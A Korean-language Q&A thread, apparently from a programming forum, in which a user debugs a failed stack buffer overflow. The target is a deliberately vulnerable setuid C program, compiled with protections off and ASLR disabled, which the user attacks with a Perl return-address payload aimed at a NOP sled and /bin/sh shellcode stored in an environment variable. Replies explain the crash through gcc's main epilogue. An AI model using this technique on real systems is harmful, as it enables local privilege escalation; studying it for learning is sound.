2014-12-20 1 views
1

main 변수의 반환 주소에 anvironment 변수의 주소가 포함되도록 searchstring 변수를 오버플로하여 환경 변수에 저장된 일부 쉘 코드를 실행하려고 아래 코드를 사용하고 있습니다. 그러나 printf 명령 전에 세그먼트 화 오류가 발생합니다.버퍼 오버플로를 사용하여 환경 변수에 쉘 코드를 실행하는 중

#include <stdio.h> 
#include <string.h> 

void main(int argc, char *argv[]){ 

    char searchstring[100]; 

    if(argc > 1) 
     strcpy(searchstring, argv[1]); 
    else // otherwise 
     searchstring[0] = 0; 

    printf("Here"); 

} 

나는 스택 보호를 해제하고 스택 실행을하기 위해

gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack 

사용하여 코드를 컴파일합니다. 나는 또한 0이 나는 ​​또한 루트 소유자와 그룹을 변경 포함이/proc/sys/kernel/randomize_va_space을 수정하여 ASLR을 해제 :

sudo chown root:root overflow.o 
sudo chmod u+s overflow.o 

환경 변수는 쉘 코드 전에 NOP 썰매를 포함하고 내가 결정 주소 0xffffd910은 NOP 썰매의 중간에있다. 따라서 나는

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40') 

을 사용하여 프로그램을 실행하지만 세그먼테이션 오류가 발생합니다.

gdb를 사용하여 main에 중단 점을 설정하고 지침을 단계별로 실행했습니다. SEG 결함이 printf와 명령이 도달 제가

(gdb) x/32x $esp 
0xffffd910:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd920:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd930:  0x90909090  0x90909090  0xdb31c031  0xb099c931 
0xffffd940:  0x6a80cda4  0x6851580b  0x68732f2f  0x69622f68 
0xffffd950:  0x51e3896e  0x8953e289  0x0080cde1  0x4d524554 
0xffffd960:  0x6574783d  0x53006d72  0x4c4c4548  0x69622f3d 
0xffffd970:  0x61622f6e  0x58006873  0x4d5f4d44  0x47414e41 
0xffffd980:  0x6d3d4445  0x6f687465  0x6c633d64  0x69737361 

(gdb) x/x $eip 
0x90909090:  Cannot access memory at address 0x90909090 

메인 스택 프레임을 검사하는 것이 참조 SEG 오류 직후 스택 포인터 및 인스트럭션 포인터 검사 전에 발생 확인한다 (주소 0xffffd460 것으로 이전 검색) 주소 0xffffd910가 참으로 검색 문장에 복사되었습니다 :

(gdb) x/32x 0xffffd460 
0xffffd460:  0xffffd49f  0xffffd49e  0xffffd590  0xffffd910 
0xffffd470:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd480:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd490:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4a0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4b0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4c0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 
0xffffd4d0:  0xffffd910  0xffffd910  0xffffd910  0xffffd910 

이해가되지 않는 이유의 주요 실행이 완료되지 않은 경우에도 이러한 위치에 스택 포인터 및 명령 포인터 점프? 또한 명령 포인터가 0xffffd910 대신 0x90909090으로 점프하는 이유는 무엇입니까? 그것은 세분화 오류를 일으키는 이거 아니면 내가 알지 못하는 몇 가지 스택 보호일까요?

나는 이것이 고의적 인 예임을 알고 있지만, 나는 단지 무슨 일이 일어나고 있는지 알고 싶어합니다.

감사합니다.

답변

2

어셈블러 코드를 살펴본 후에 나는 무슨 일이 일어나고 있는지 알아 냈습니다. 코드의 마지막 3 행은 검색 문장 변수 EBP-0x4로의 데이터는, 환경 변수 (0xffffd910)의 NOP 썰매 통해 어드레스 도중에 덮어 쓰기되도록 넘쳐

0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4] 
0x08048488 <+62>: leave 
0x08048489 <+63>: lea esp,[ecx-0x4] 
0x0804848c <+66>: ret 

이다. 따라서 위의 1 행은 ecx에 0xffffd910을 저장합니다.

위의 3 행에서 ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c이며이 주소는 esp에 저장된다는 것을 의미합니다. 이 주소에 저장된 데이터는 0x90909090입니다 (아직 NOP 썰매의 중간 지점이므로).마지막으로, 위의 마지막 줄에서이 데이터는 main()의 반환 주소로 스택에서 튀어 나옵니다. 그 이유는 eip = 0x90909090으로 끝나는 것이고 popping 동작은 esp가 0xffff90c + 0x4로 다시 이동한다는 것을 의미합니다 = 0xffffd910.

main() 함수가 반송 주소와 관련하여 다른 동작을한다고 가정 할 때 내 오류가 발생했습니다. C는 "반환 주소"에 대한 개념이 없습니다. 이것은 구현 세부 사항입니다. gcc-multilib 4.9.2-1을 내 아치 리눅스 컴퓨터에서 사용하면 구현 방법입니다.

+0

같은 문제가 발생했습니다. 이 "lea"명령은 eop 레지스터가 nop sled 주소 대신 0x90909090을 가리 키도록합니다. 이것에 대한 해결책을 찾았습니까? – Michele

1

esp가 쉘 코드를 가리키는 것이 이상합니다. 인쇄 "\ x10 \ xd9 \ xff \ xff"는 환경 변수의 주소입니까?

RET을 실행할 때 POP % eip하지만 % esp가 0x90909090을 가리 키기 때문에 segfault가 발생하지만 물론이 주소에 액세스 할 수 없습니다.

+0

예 "\ x10 \ xd9 \ xff \ xff"는 환경 변수의 주소입니다. esp가 이것을 가리키는 원인은 무엇입니까? – epsilonjon

+0

내 의견으로는 이치에 맞지 않습니다. 'perl -e '를 사용해 보시 겠어요? "A"x200 "? segfault가 있어야하고 $ eip = 0x61616161이 표시되어야합니다. – Cronovirus

+0

아니요, seg 오류가 발생하지만 $ esp = 0x4141413d (3D가 어디서 왔는지 모릅니다). 분명히 $ esp에 접근 할 수 없으므로 $ eip는 RET 명령어의 주소로 남습니다. – epsilonjon

관련 문제